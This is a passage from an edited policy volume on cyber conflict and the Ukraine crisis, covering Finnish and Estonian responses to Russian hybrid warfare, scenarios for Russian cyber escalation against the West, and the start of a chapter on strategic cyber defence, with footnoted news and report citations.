Using a range of tools such as cyber attacks, economic pressure, information operations, and limited physical attacks to gener- ate uncertainty in the mind of the general population, an aggressor may be able to achieve its desired political goals.
In Finland, it is understood that modern Russian warfare puts great emphasis on cyber and electronic warfare.
In particular, Russian activities in Ukraine have spurred Finland to strengthen its military and societal defences.
The new Finn- ish Government programme puts it this way: The Government will strengthen the comprehensive concept of security nationally, in the EU and in international cooperation.
This applies, in particular, to new and large-scale threats, such as the defence against hybrid attacks, cyber attacks and terrorism.7 From a Nordic perspective, one of the most alarming aspects of the Ukraine crisis has been Russian attempts to wage information warfare to influence public opinion.
Finnish media and even ordinary Finns have discussed this dynamic in detail.
Even the Finnish Prime Minister has openly stated that there is an ongoing 6 Jarno Limnll.
Ukraine crisis proves cyber conflict is a reality of modern warfare, The Telegraph, April 19, 2014, http://www.
telegraph.co.uk/technology/internet-security/10770275/Ukraine-crisis-proves-cyber-conflict-is-a-reality-of-modern-war- fare.html.
7 Prime Ministers Office, Strategic Programme of Prime Minister Juha Sipils Government, Government Publications 12/2015, May 29, 2015, 38.
It has not been necessary for Russia to use its more strategic cyber capabilities.
148 information war in Ukraine.
Finns have noted pro-Russian trolling, or the aggres- sive use of online arguments and false information toeing the Kremlin line.
Such tactics increased significantly as the Ukraine crisis escalated.8 In the flood of Finnish, English and Russian troll mes- sages, the same phrases are constantly repeated: Russia and President Vladi- mir Putin are idolised and the military operations of Russia in Ukraine are jus- tified or simply denied.
The Russian Embassy in Helsinki has active Facebook and Twitter accounts on Twitter, rus- sianembfinla has retweeted pro-Russia trolls and the (often anonymous) tweets of anti-Western voices, blocked Finnish journalists critical of Russia, distributed pho- tos of Ukrainian civilian casualties, and altered the messages of Finnish tweeters.
There are numerous vexing challenges.
For example, it is difficult to prepare countermeasures for an attack that is outsourced to hacker groups that lie outside normal state structures.
In Ukraine, these are theoretically separatist groups in Crimea and eastern Ukraine.
Cyberspace is the ideal place to wage anonymous or at least plausibly deniable operations.
For Finnish defence planning, the increased use of hybrid warfare does not mean forgetting more traditional military threats to our nation, but it does complicate matters especially societal preparedness.
Cyber attacks are now an integral part of all conflicts and wars, and they are blurring the line between peace and war.
As Finlands President Niinist stated: With hybrid warfare, we are facing a substantial change in military operations.
The boundary between actual war and other exercise of power is becoming blurred.
Means of cyber war and information war are becoming increasingly important.
It is now possible to fight a war with- out actually being at war.
At the same time, conflict escalation is setting new speed records, as we saw for instance in the Crimea.
9 3 Estonia: Cyber Attacks and NATO Article 5 In 2007, Estonia became the first country in the world to be targeted by a coordi- nated international cyber attack which came in retaliation for Tallinns decision to relocate a World War II monument from the centre of Tallinn to a military cemetery 8 Finlands national public-broadcasting company YLE gathered a large amount of information on pro-Russia trolling.
Yle Kioski Investigated: This is How Pro-Russia Trolls Manipulate Finns Online Check the List of Forums Favored by Propagan- dists, last modified June 24, 2015.
http://kioski.yle.fi/omat/troll-piece-2-english.
9 Speech by President of the Republic Sauli Niinist at the ambassador seminar, August 26, 2014.
http://www.presidentti.fi/ public/default.aspx?contentid311373nodeid44807contentlan2cultureen-US.
One of the most alarming aspects of the Ukraine crisis has been Russian attempts to wage information warfare to influence public opinion.
149 on the outskirts of the city.
Today, Estonia is considered to be a world leader in all things digital, including cyber security.10 Estonias current Cyber Strategy notes that the environment is growing more dangerous: The amount and activeness of states capable of cyber-attacks are increasing.11 Estonia has been subjected to pressure from Moscow for years, but Russian cyber espionage in Estonias government and commercial affairs is also getting worse.
Therefore, when tensions began to rise in Ukraine, Estonia was one of the first nations to sound the alarm.
In late 2014, Estonias Prime Minister Taavi Ri- vas declared that [w]e, in Estonia, fully understand that challenges may arise from other directions, including in the cyber domain.12 Russians annexation of Crimea has raised fears in the Baltic states that they could be the next victims of Russian aggression.
In all three countries, there are many people alive today who personally witnessed Russian tactics similar to those now on display in Ukraine.
Both Latvia and Estonia have large Russian-speaking minorities living within their borders.
Estonia is different from Finland in one key regard its NATO membership.
Estonias President Toomas Hendrik Ilves is an active figure in NATO security and policy circles, particularly those that relate to cyber: Shutting down a country with a cyberattack would be very difficult but not impossible.
If you did that, why wouldnt that be a case for Article 5 action?
Article 5 of the NATO Charter states that any attack on one member of the Alliance can be viewed as an attack on all.
At the NATO Wales Summit in 2014, in part due to Ilvess tireless work, NATO minis- ters ratified a policy stating that not only conventional and nuclear attacks, but also cyber attacks, may lead to an invocation of Article 5.13,14 In the past, a NATO ally under cyber attack could convene a group to consult on the attack, but not call on allies to respond in any way.
With cyber attacks now falling under Article 5, NATO members now have the option of doing so.
This is a major shift in policy, given that cyber warfare is still largely shrouded in mystery and secrecy.
National cyber capabilities tend to be highly classified.
Therefore, despite differing capabilities, viewpoints, and thresholds (after all, what Estonia might consider to be an intolerable assault on its sovereignty might not be seen the same way in Brussels or Washington) this was a significant event in that a public announcement that NATO might respond to a cyber attack as it would to a kinetic or traditional attack has tangi- ble value in the realm of international military deterrence.
During the conflict in Ukraine, DDoS attacks against Estonia have been sur- prisingly few.
In fact, despite expectations, the past year has been unusually calm 10 According to the global cyber security index of the International Telecommunication Union (ITU), Estonia is ranked fifth in the world in the field, and according to the recently published Business Software Alliance (BSA) report, Estonia, Austria and Netherlands are the most cyber-secure countries in Europe.
11 Ministry of Economic Affairs and Communications, Cyber Security Strategy 2014-2017, 2014, 5.
12 Ashish Kumar Sen. Estonias Prime Minister: NATO Presence Key to Counter Russias Provocations, Atlantic Council, De- cember 11, 2014.
13 NATO, Wales Summit Declaration, September 5, 2014.
http://www.nato.int/cps/en/natohq/official_texts_112964.htm.
14 E.g.
Roger Boyes.
NATO must respond to Russian cyber assault, The Times, April 3, 2015.
150 compared to the previous year.15 In 2013, the level was much higher: for example, the websites of the Ministry of Defence and the Estonian Defence Forces were both hit by DDoS, for which responsibility was claimed by Anonymous Ukraine.16 Also in 2013, the website of Estonian railway company Elron (which happens to be the most popular Google search term in Estonia) was defaced with messages claiming that passenger train traffic had been halted as a result of a NATO military exercise.17 Earlier the same day, the website of the NATO Cooperative Cyber Defence Centre of Excellence (NATO CCD COE) came under DDoS attack (Anonymous Ukraine again claimed responsibility).
At NATO Headquarters in Belgium, several websites have been targeted during the Ukraine war, as well as NATOs unclassified e-mail system.
NATO officials have described these attacks as serious assaults, but also said that they did not pose any risk to NATOs classified networks.18 The hacker group Cyber Berkut said the attacks were carried out by patriotic Ukrainians angry over NATO interference in their country, and also stated that NATO CCD COE experts had been in Ukraine training cyber terrorists.
Although attribution of cyber attacks to specific actors and nations is difficult, technical anal- ysis of the Cyber Berkuts domains as well as the nature of its propaganda strongly suggest ties to Russia.19 Since the beginning of 2014, however, Estonian cyberspace has been unusually calm.
Like Finland, Estonia has seen espionage, pro-Russia trolling on Estonian web forums, and propaganda, but little in the way of malware or computer exploits.
Estonians feel that the hostile information flow from Russia is aimed at creating and widening rifts between native Estonians and ethnic Russians (Moscow does not see normal relations as beneficial to its current foreign policy).
For example, on 4 March 2015, the television channel Rossiya-1 (a key source of information for many ethnic Russians in the Baltic region) aired a satirical anti-Nazi video that was said to be proof of Estonias support for Nazism.20 In response, Estonia will cre- ate its own Russian-language TV channel, to be launched in September 2015 by a state-financed public broadcaster, that will seek to empower the local ethnic Russian identity.21 A NATO member only since 2004, Estonia today occupies a highly visible position within the Alliance.
Thus, the hybrid military campaign that Russia has launched in Crimea and in eastern Ukraine almost forces NATO to take proactive steps to guard against the use of such tactics in the Baltic states, if not to rethink some of its defence strategies altogether.
As Estonias Defence Minister Sven Mik- ser stated, We have reason to believe that Russia views the Baltic region as one 15 Private conversations with Estonian officials.
16 CERT-EE kokkuvte, Hajusad ummistusrnded, vltsitud saatjaga e-kirjad ning notustamised 1.-7.
Novembril 2013, aka OpIndependence, https://www.ria.ee/public/CERT/opindependence.pdf.
17 E.g.
Ronald Liive.
Vide Regnumilt: NATO suurppuse kigus rnnati ekslikult ehtsaid veebilehti, Forte, November 13, 2013.
18 NATO websites hit in cyber attack linked to Crimea tension, Reuters, March 16, 2014.
19 Rodrigo, Cyber Berkut Graduates from DDoS Stunts to Purveyor of Cyber Attack Tools, Cyber Threat Intelligence, June 8, 2015.
https://www.recordedfuture.com/cyber-berkut-analysis/.
20 Ott Ummelas.
Estonia Must Counter Hostile Russian Propaganda, Bloomberg Business, March 25, 2015.
21 Silver Tambur.
EERs new Russian-language TV channel will be called ETV, April 20, 2015.
of NATOs most vulnerable areas, a place where NATOs resolve and commitment could be tested.22 Today, cyber security is increasingly seen as playing a vital role in national secu- rity affairs, both in and out of NATO.
For its part, Estonia is already sharing its cyber security experience and expertise with Ukraine, including the organisation of large cyber security drills.
And finally, Estonia has one major advantage on its side: it is home to the NATO CCD COE, whose symbolic importance to Estonia has grown rapidly.
4 Conclusion: David vs. Goliath in Cyberspace Finland and Estonia both rank among the worlds most connected and cyber secu- rity-savvy countries.23 In both nations, there is a high degree of dependence on the internet, as well as a deep appreciation for the strategic nature of modern networks and the need to secure them.
Therefore, both Finland and Estonia are at the fore- front of the nations creating cyber norms in the world.24 The need to prepare defences against modern hybrid warfare forces govern- ments, including those of Finland and Estonia, to take steps sooner rather than later.
There will be conflicts in which the regular armed forces of a foreign state are not the most active participants.
Some of the attacks may occur entirely in cyber- space, and the attackers might even remain anonymous.
In the internet era, a wide range of national laws must be re-examined and contingencies rehearsed, so that decision-makers have the best possible tools to respond to the challenges of hybrid warfare in the future.
Russia is far larger and more populous than both Finland and Estonia, but tra- ditional notions of size especially in the globalised internet era is not the only determining factor on the cyber battlefield.
Smaller countries such as Finland and Estonia, with a strong heritage of technical capability and experience, may possess some advantages that not even great powers could dream of.
In the near term, Fin- land will continue to strengthen its defences independently, while Estonia will continue to emphasise NATOs Article 5.
In the long term, Finland and Estonia will continue to punch above their weight in the cyber domain especially relative to their size.
22 Geoff Dyer.
NATO shifts strategy in Europe to deal with Russia threat, Financial Times, June 23, 2015.
23 Global Cybersecurity Index and Cyberwellness Profiles.
International Telecommunications Union, April 2015 http://www.itu.
int/dms_pub/itu-d/opb/str/D-STR-SECU-2015-PDF-E.pdf.
24 See e.g.
Jarno Limnll.
Can Finland Act As a Mediator on Cyber Norms?
Council on Foreign Relations, May 28, 2015, http:// blogs.cfr.org/cyber/2015/05/28/can-finland-act-as-a-mediator-on-cyber-norms/.
Smaller countries with a strong heritage of technical capability and experience may possess some advantages that not even great powers could dream of.
153 Whats Next for Putin in Ukraine: Cyber Escalation?
Jason Healey Michelle Cantos Columbia University 1 Introduction We may be facing the internets most dangerous moment.
From the earliest days of cyber intelligence, a rule of thumb was that those with the capability to cause significant cyber disruption lack the intent those with the intent lack the capability.1 Some governments, including the United States, Russia, and China, have always had the capability, but have lacked the motivation to bring down the internet.
However, times change, and Vladimir Putin, now facing strong sanctions and a weak rouble, could choose to retaliate against the West in the form of little green bytes.
US and European economies may, in fact, be natural targets, carrying the implicit message: if you seriously affect Russias finan- cial health, you too will feel the pain.
1 Matthew Devost.
Risk of cyber terrorism raised at seminar, Massey University News, September 12, 2002, http://www.massey.
ac.nz/wwpubafs/2002/news_release/13_09_02a.html.
Chapter 17 We may be facing the internets most dangerous moment.
http://www.massey.ac.nz/wwpubafs/2002/news_release/13_09_02a.html http://www.massey.ac.nz/wwpubafs/2002/news_release/13_09_02a.html 154 Conflict in cyberspace offers adversaries many possibilities and Putin has numerous options.
In the near term, there are four obvious scenarios: local instabil- ity, intimidation, frozen cyber conflict, and coercion.
The first option, local instability, would exclusively target Ukraine, causing cyber disruption in the hope of keeping the country prostrate while trying to avoid escala- tion with the West and a tightening of sanctions.
In the second option, intimidation, Putin would use cyber capabilities against the West to mirror his existing recipe of strategic threats, military exercises, submarine deployments, nuclear threats and nuclear-capable bomber flights.
A further escalation here could be a third option a frozen cyber conflict, where techniques of hybrid warfare are used to try for medium-term disruption to the internet itself.
The fourth option, coercion, would go beyond local disruption and provocations and would attempt to use cyber force to disrupt Western economic and military targets.
This last scenario is the most dangerous of all, potentially signifying a calculation by Putin that Russia has little remaining stake in the global economic game.
In that case, why not upend the table and ruin the party for everyone?
2 Local Instability: Frozen Conflict with a Topping of Cyber In the least aggressive scenario, Putin would escalate only within Ukraine in an attempt to further destabilise and delegitimise the existing government.
The little green bytes might deny service to Ukrainian government and media sites, or even target critical infrastructure.
As in other post-Soviet frozen conflicts, the goal is not necessarily to prevail, but rather to keep Ukraine destabilised for years and unable to pose any challenge.
As noted elsewhere in this book, the Russians, due to their legacy from the Mos- cow-dominated Soviet Union, have an extensive knowledge of Ukrainian systems.
Most of Ukraines infrastructure is well understood if not designed by Russian enterprises, so exploiting them for cyber attack would be far easier than for a typical cyber campaign elsewhere.
There may also be a sufficient number of insiders who are friendly to Russia, and who could either be bribed or blackmailed into leak- ing sensitive government materials, disseminating propaganda, installing malicious software, or even physically destroying key systems.
Russia has shown some of its digital arsenal.
Cyber espionage campaigns such as Sandworm have played a role in intelligence collection operations against the Ukrainian government and some NATO nations, even taking advantage of multiple zero-day exploits.2 The local instability cyber option could allow Putin to maintain pressure on Ukraine while avoiding an increase in tensions with the West.
He might even be 2 iSIGHT discovers zero-day vulnerability CVE-2014-4114 used in Russian cyber-espionage campaign, iSight, October 14, 2014, http://www.isightpartners.com/2014/10/cve-2014-4114/.
http://www.isightpartners.com/2014/10/cve-2014-4114/ 155 able to accomplish this while claiming to be de-escalating the conflict.
Russia, in this scenario, would only launch disruptive cyber attacks within Ukraine, not against other targets in the West, and attempting to limit the upper bound of escalation.
The international community might be happy, however, to countenance a cyber war in Ukraine if it caused little tangible damage to other countries, limited the body count, and generated fewer disturbing media images.
3 Intimidation: Cyber Provocations and Escalation A second option for Putin is to send a digital warning shot across the Wests cyber bow, in effect saying that Russia has additional cards up its sleeve and may play them if nec- essary.
Russia is already escalating all sorts of military operations against the West, from massive exercises and military flights to nuclear threats.
Little green bytes could there- fore be just one additional form of provocation to add instability on the world stage.
Such attacks would be just-deniable-enough and might target defence and mili- tary systems and networks.
Russia could target allies with weaker defences, or gov- ernments which Putin might calculate as being easier political prey, and more sus- ceptible to Russian coercion.
This cyber escalation would simply be a natural extension of Putins provoca- tive behaviour in other military forces.
In the last fifteen months, Russia has appar- ently sneaked submarines into Swedish and Finnish territorial waters, stating that Finlands growing ties with NATO were a special concern3 flown jet fighters and nuclear-capable bombers along the periphery of Europe and buzzed NATO ships including the US guided-missile destroyer USS Ross as it sailed in international waters off the Russian-occupied Crimean peninsula.4 Apart from drilling his conventional forces, Putin in the spring of 2014 organ- ised large-scale exercises designed to assess the preparedness level of his nuclear forces.5 In the context of Russias nuclear threats against Denmark, these appear to be calculated (if clumsy) efforts to intimidate the West.6 The Russian cyber assault on Estonia in 2007 was a blueprint for a geopolitically inspired and just-deni- able-enough digital disruption.
When 3 Finnish military fires depth charges at suspected submarine, Reuters, April 28, 2015, http://www.reuters.com/arti- cle/2015/04/28/us-finland-navy-idUSKBN0NJ0Y120150428.
4 Barbara Starr.
Russian planes, U.S. warship have close encounter near Crimea, CNN, June 1, 2015, http://www.cnn.
com/2015/06/01/politics/russia-plane-navy-uss-ross/.
5 Bill Gertz.
Russia Conducts Large-Scale Nuclear Attack Exercise, Washington Free Beacon, May 8, 2014, http://freebeacon.
com/national-security/russia-conducts-large-scale-nuclear-attack-exercise/.
6 Adam Withnall.
Russia threatens Denmark with nuclear weapons if it tries to join NATO defence shield, The Independent, March 22, 2015, http://www.independent.co.uk/news/world/europe/russia-threatens-denmark-with-nuclear-weapons-if-it- tries-to-join-nato-defence-shield-10125529.html.
Estonia in 2007 was a blueprint for a geopolitically inspired and just-deniable-enough digital disruption.
http://www.reuters.com/article/2015/04/28/us-finland-navy-idUSKBN0NJ0Y120150428 http://www.reuters.com/article/2015/04/28/us-finland-navy-idUSKBN0NJ0Y120150428 http://www.cnn.com/2015/06/01/politics/russia-plane-navy-uss-ross/ http://www.cnn.com/2015/06/01/politics/russia-plane-navy-uss-ross/ http://freebeacon.com/national-security/russia-conducts-large-scale-nuclear-attack-exercise/ http://freebeacon.com/national-security/russia-conducts-large-scale-nuclear-attack-exercise/ http://www.independent.co.uk/news/world/europe/russia-threatens-denmark-with-nuclear-weapons-if-it-tries-to-join-nato-defence-shield-10125529.html http://www.independent.co.uk/news/world/europe/russia-threatens-denmark-with-nuclear-weapons-if-it-tries-to-join-nato-defence-shield-10125529.html 156 the Estonian government decided to move a Soviet war memorial from the centre of its capital Tallinn to a military cemetery on the outskirts of town, Russia responded by encouraging patriotic hackers to engage in a three week long Distributed Deni- al-Of-Service (DDoS) attack against numerous sectors of the Estonian economy including the government, media, and financial institutions.7 This template relies on a combination of threats, cyber capabilities, the use of proxies, and plausible deniability.
Russia might alternately hold off on such disruptive attacks in favour of increas- ingly aggressive espionage.
In fact, it seems an escalation in such intrusions is already underway.
Russian state-sponsored hackers are believed to have recently compromised the US Department of State, then used that access to penetrate the unclassified network of the Executive Office of the President.8,9 Unlike during previous intrusions linked to Russia, on this occasion the digital spies did not back out of the system once they were discovered, but fought back in order to maintain their foothold in the net- work.10 Investigators also believe that Russian spies were behind the recent intrusion into the unclassified email of the Joint Chiefs of Staff, an intrusion which forced the Pentagon to take the system down for several days.11 4 Freezing the Conflict in Cyberspace Rather than, or in addition to, using cyber to help destabilise the Ukraine, Putin might try to make the internet itself a new zone of frozen conflict.
This option is perhaps not as likely as the others, but might offer Putin an intriguing possibility: inflict on the internet, which delivers harmful content in the form of unwanted truths to Russian citizens, just enough long-term disruption so that it is less useful, less trusted, and less an enabler to Western economies and societies.
In this option, Putins forces would use cyber capabilities to periodically disrupt core internet infrastructure such as the domain name system, or frequently take down Western information providers.
Each new week could see a large-scale deni- al-of-service attack.
This option differs from the previous intimidation option in two ways.
First, the attacks would be far more disruptive than mere shows of force.
Compared to 7 Ian Traynor.
Russia accused of unleashing cyberwar to disable Estonia, The Guardian, May 16, 2007, http://www.theguardian.
com/world/2007/may/17/topstories3.russia.
8 Evan Perez and Shimon Prokupecz.
|
97
|
Sources: State Dept.
| 22,765
| 23,058
| 294
|
data/reports_final/0097.txt
|
Sources: State Dept.
hack the worst ever, CNN, March 10, 2015, http://www.cnn.
com/2015/03/10/politics/state-department-hack-worst-ever/index.html.
9 Ellen Nakashima.
Hackers breach some White House computers, The Washington Post, October 28, 2014, http://www.wash- ingtonpost.com/world/national-security/hackers-breach-some-white-house-computers/2014/10/28/2ddf2fa0-5ef7-11e4- 91f7-5d89b5e8c251_story.html.
10 Michael S. Schmidt and David E. Sanger.
Russian Hackers Read Obamas Unclassified Emails, Officials Say, New York Times, April 25, 2015, http://www.nytimes.com/2015/04/26/us/russian-hackers-read-obamas-unclassified-emails-officials-say.html 11 Nancy A. Youssef.
Russians Hacked Joint Chiefs of Staff, The Daily Beast, August 6, 2015, http://www.thedailybeast.com/ cheats/2015/08/06/russians-hacked-joint-chiefs-of-staff.html.
http://www.theguardian.com/world/2007/may/17/topstories3.russia http://www.theguardian.com/world/2007/may/17/topstories3.russia http://www.cnn.com/2015/03/10/politics/state-department-hack-worst-ever/index.html http://www.cnn.com/2015/03/10/politics/state-department-hack-worst-ever/index.html http://www.washingtonpost.com/world/national-security/hackers-breach-some-white-house-computers/2014/10/28/2ddf2fa0-5ef7-11e4-91f7-5d89b5e8c251_story.html http://www.washingtonpost.com/world/national-security/hackers-breach-some-white-house-computers/2014/10/28/2ddf2fa0-5ef7-11e4-91f7-5d89b5e8c251_story.html http://www.washingtonpost.com/world/national-security/hackers-breach-some-white-house-computers/2014/10/28/2ddf2fa0-5ef7-11e4-91f7-5d89b5e8c251_story.html 157 the intimidation option where Russia threatens force to avoid a conflict, in this fro- zen-conflict option, Putin already accepts Western nations as adversaries.
The goal is therefore not to get them to back down, but hopefully to destabilise the internet just enough to deny cyber benefits to his perceived enemies.
5 Coercion: Escalate to De-escalate The most aggressive option for Putin is to use cyber capabilities to disrupt the economies of the West.
Imagine a massive, long-term and continuing attack against the Wests financial sys- tem or power grids.
What if, Sony-style, one bank a week were to be targeted for a disruptive and embarrassing attack?
Russia in the past had, along with at least the United States and China, the capa- bility to conduct such attacks, but lacked the intent.
Russia had disagreements with the West but was not engaged in any real conflict.
Further, to some extent, Russia needed healthy Western economies to itself thrive.
That situation has changed.
Today, Putin may well see himself in a conflict with the West, perhaps even a shooting war, and feel the very survival of his regime could be at stake.
In 2013, sanctions including asset freezes and export prohibi- tions pushed Russia to the brink of a recession, and the economy grew by only 1.3.12 By the end of 2015, the World Bank predicts that ongoing sanctions cou- pled with the decrease in oil prices will shrink the Russian economy by 3.8.13 Putin could calculate that Russia has few remaining stakes in the global economy and financial system.
Without international economic entanglement, it is far easier for Putin to use Russias impressive cyber capabilities to try to directly coerce (rather than threaten) the West.
By inflicting economic turmoil, he could turn Russias lack of a stake in the global financial system from a liability into an asset.
With nothing to lose and every- thing to gain, Putin might calculate that unleashing his just-deniable-enough little green bytes against Western economies could be a win-win situation for Russia.
Russia is already pushing the idea that they may need to escalate to de-escalate a brewing conflict with the West.
In an extensive article in Vox, Max Fisher lays out the evidence that the world is ever closer to conflict, even a world war, and especially that Putin has enshrined, in Russias official nuclear doctrine, a dangerous idea no Soviet leader ever adopted: that a nuclear war could be winnable.14 12 How far do EU-US sanctions on Russia go?
BBC, September 15, 2014, http://www.bbc.com/news/world-europe-28400218 13 Andrey Ostroukh.
Russias Economic Outlook Worse Than Thought, World Bank Says, The Wall Street Journal, April 1, 2015, http://www.wsj.com/articles/russias-economic-outlook-worse-than-thought-world-bank-says-1427883522.
14 Max Fisher.
How World War III Became Possible, Vox, June 29, 2015, http://www.vox.com/2015/6/29/8845913/russia-war.
What if, Sony-style, one bank a week were targeted for a disrup- tive and embarrassing attack?
http://www.bbc.com/news/world-europe-28400218 http://www.wsj.com/articles/russias-economic-outlook-worse-than-thought-world-bank-says-1427883522 In that light, cyber weapons may offer an even more attractive opportunity given that cyber effects can be temporary and reversible.
Russian Deputy Prime Minister Dmitry Rogozin has already declared that Russian tanks dont need visas to cross international borders.15 If Russia is willing to make nuclear threats and roll T-72s across borders, then how much more likely are attacks using faster, more deniable, electrons?
One obvious target would be Western financial firms that currently enforce the sanctions against Russia.
Many analysts believe that Iran chose precisely this form of retaliation in 2012, in response to Stuxnet.16 Other obvious targets could be the oil, gas, or electricity sectors, in order to raise the price of oil.
During our research for this chapter, several security analysts stated that Russia may be preparing for this contingency with its Havex and BlackEnergy cyber cam- paigns.17 In both cases, Russian government hackers apparently targeted Western energy companies, not for espionage, but in order to prepare for a potential fol- low-on disruptive attack.
It appears Russia has proved that it has the required capa- bilities already in place to disrupt Western energy systems, now it is just a matter of having the intent.
Or Putin could focus his cyber attack not against sectors, but against specific Western allies those he felt would be most likely to submit to coercive pressure.
His whispered promise might be something along the lines of Drop your support for sanctions and all these cyber failures youre experiencing can just go away.
Coun- tries which might not have been fully committed to the sanctions in the first place might not need much convincing.
6 Conclusion Cyberspace and cyber attacks offer many ways, especially for a capable nation- state, to target an adversary.
In the current conflict, the most likely near-term options for Russia are perhaps local instability, intimidation and coercion.
Of course, the scenarios discussed in this chapter are not mutually exclusive Putin could jump between them or even employ them all simultaneously.
Fortunately to help analyse Russias cyber current actions, it may be enough to analyse his actions in the physical world: Russian hostility in Europe is likely to be matched with Russian hostility online.
If this process starts to get out of control, then Western leaders have to be at their highest level of concern.
If Putin believes he is approaching a use-it-or-lose-it situation for his autocratic regime and its stolen billions, he may just decide to take the internet down with him.
15 Russian Official: Tanks Dont Need Visas, Defense One/Agence France-Presse, May 25, 2015, http://www.defensenews.com/ story/defense/international/europe/2015/05/25/russian-official-tanks-need-visas/27924351/.
16 Siobhan Gorman and Julian Barnes.
Iran Blamed for Cyberattacks, The Wall Street Journal, October 12, 2012, http://www.wsj.
com/articles/SB10000872396390444657804578052931555576700.
17 Blake Sobczak and Peter Behr.
Secret meetings tackle back-to-back energy-sector cyberthreats, EnergyWire, October 31, 2014, http://www.eenews.net/energywire/stories/1060008193.
http://www.defensenews.com/story/defense/international/europe/2015/05/25/russian-official-tanks-need-visas/27924351/ http://www.defensenews.com/story/defense/international/europe/2015/05/25/russian-official-tanks-need-visas/27924351/ http://www.wsj.com/articles/SB10000872396390444657804578052931555576700 http://www.wsj.com/articles/SB10000872396390444657804578052931555576700 http://www.eenews.net/energywire/stories/1060008193 159 Strategic Defence in Cyberspace: Beyond Tools and Tactics Richard Bejtlich The Brookings Institution 1 Introduction The digitisation of information, which began during the Second World War, has significantly deepened the relationship between human beings (from the individ- ual to the nation-state) and unstructured data, structured information (such as a databases), and intelligence (information of political or military value).
Every part of society has benefited from information technology however, as we have increas- ingly become data-reliant, our adversaries have sought to leverage information against us.
Attackers and defenders now battle for access to, and control of, infor- mation in the political, economic, military, and social spheres.
In military parlance, data has become a virtual high ground from which the better-informed can influ- ence an adversary.
The Ukrainian Government currently finds itself at a tactical disadvantage vis--vis Russia, both on the traditional field of battle as well as in cyberspace.
However, cyber security, especially at the national level, is a strategic game, and Kyiv can make smart investments that will pay off over the long run.
In Ukraine, as in every other nation- state, practitioners, academics, policy-makers, and the public are individually and col- lectively vexed by the question of how to defend data, information, and intelligence.
Part of the problem is that adversaries do not have one or even several attack strategies at their disposal: they can steal, destroy, deny access to, or even alter information as well as the systems that store, process, and display it to its ostensible owners.
Chapter 18 160 Digitised information is a human product which resides in mechanical devices built by engineers and programmers, and so decision-makers naturally turn to the technical community for answers to these challenges.
Technical proposals take many forms.
Several frequently appear in policy-making circles: we could scrap the internet entirely and replace it with a more secure alternative1 we might build software that is not hackable, possibly through leap ahead technologies that make defence easier than offense (which is today manifestly not the case)2 or we can out- source our security to third-party vendors.3 These are all technical ideas, but they are generally not feasible for a variety of reasons.
More fundamentally, it is danger- ous to rely solely on technology to mitigate core security problems.
2 The Limitations of Technology-driven Approaches Technology plays an important role in defending data.
Thoughtfully designed networks, higher quality software, and agile start-ups can frustrate opportunistic intruders seeking easy prey.
Unfortunately, well-resourced, professional attackers sometimes have long-standing missions to compromise specific high-value targets, whether for information theft or data manipulation.
They will not give up until their mission requirements change or until they succeed in their assignment.
Digital defenders may only get a glimpse of the intruder, and often this comes far too late in the game.
Whereas the victims perspective is usually narrow and incomplete, professional attackers are persistent and know exactly what they are targeting.
According to the Mandiant 2015 M-Trends report, the median number of days in 2014 that a successful threat group was present on a victims network before detection, was 205.
In one case, an adversary had maintained unauthorised access for over 8 years.4 Even after discovery, organisations can spend months trying to remove the intruder.
In February 2015, the Wall Street Journal reported that the US State Department continued to be plagued by foreign hackers fully three months after the agency confirmed reports of an intrusion.5 This relationship between security and time is central to protecting digital 1 Thom Shanker.
Cyberwar Chief Calls for Secure Computer Network, New York Times, 23 September 2010, http://www.ny- times.com/2010/09/24/us/24cyber.html John Markoff.
Do We Need a New Internet?
New York Times, 14 February 2009, http://www.nytimes.com/2009/02/15/weekinreview/15markoff.html.
2 Jim Garamone.
DARPA Director Discusses Cyber Security Challenges, DoD News, 1 October 2014, http://www.defense.gov/ news/newsarticle.aspx?id123307.
3 Over 400 vendors demonstrated their products and services at the RSA Conference in San Francisco, California in April 2015.
RSA Conference 2015 vendors, http://www.rsaconference.com/events/us15/expo-sponsors.
4 The median number for 2013 was 229 days.
FireEye, M-Trends 2015: A View from the Front Lines (Milpitas, CA: FireEye Cor- poration 2015), https://www2.fireeye.com/rs/fireye/images/rpt-m-trends-2015.pdf.
5 Danny Yadron.
Three Months Later, State Department Hasnt Rooted Out Hackers, Wall Street Journal, 19 February 2015, http://www.wsj.com/articles/three-months-later-state-department-hasnt-rooted-out-hackers-1424391453.
A technology-centric world- view obsesses about a static, one-time exchange between attacker and defender.
http://www.nytimes.com/2010/09/24/us/24cyber.html http://www.nytimes.com/2010/09/24/us/24cyber.html http://www.nytimes.com/2009/02/15/weekinreview/15markoff.html http://www.rsaconference.com/events/us15/expo-sponsors https://www2.fireeye.com/rs/fireye/images/rpt-m-trends-2015.pdf 161 resources.
An analysis of time intervals is key to understanding the interaction between attackers and defenders, but in general the security community does not sufficiently understand or appreciate the nature and consequences of this relation- ship.
A technology-centric worldview obsesses about a static, one-time exchange between attacker and defender.
This is not an accurate description of the real world, which is populated, not with mindless code, but with rational and irrational human beings who are both intelligent and adaptive adversaries and who observe their tar- gets, allocate resources, and make dynamic decisions in order to accomplish their goals.6 Digital defenders ignore these facts at their peril.
The interactive and time-de- pendent nature of network attack and defence leads to the promotion of suboptimal approaches to security.
The emphasis on cyber hygiene is illustrative.7 To defeat intruders, this method promotes knowing ones network, removing unauthorised systems, patching vulnerabilities, and improving configurations.
All of these are certainly both requisite and commendable defensive steps.
However, they are insuf- ficient when confronting an attacker who has the time and resources to adapt to and overcome the targets defences.
Washing cyber hands is helpful when minimising the spread of mindless germs, but it is less effective when those germs are as smart as, or better-resourced and motivated than, the hand-washer.
3 Strategic Thought in Cyber Defence To better address the dynamic challenge of continuous interaction between adap- tive, intelligent adversaries, this chapter advocates the application of strategic mili- tary concepts to conflict in cyberspace.
Armed conflict has long been characterised as a struggle between persistent adversaries over time.
However, the advent of mass armies, modern weapons, and nation-state warfare in the late 18th and early 19th centuries took this concept to a higher level.
During the 20th century, military strat- egists therefore had to think beyond the traditional dichotomy of strategy versus tactics.
Over time, they codified multiple levels of warfare.
Beginning in the 1980s, U.S. Army doctrine described three levels of war: strate- gic, operational, and tactical.8 These built on previous writings and lessons learned, from Napoleonic battles to Soviet military planning.
National goals and policy sit- ting above the strategic level of war were incorporated into doctrine, although this can be confusing given that the word strategic often appeared in both the models name and one of its primary elements.
6 John R. Boyd.
The Essence of Winning and Losing, unpublished PowerPoint presentation, 1985, http://www.danford.net/ boyd/essence.htm.
7 Jonathan Trull.
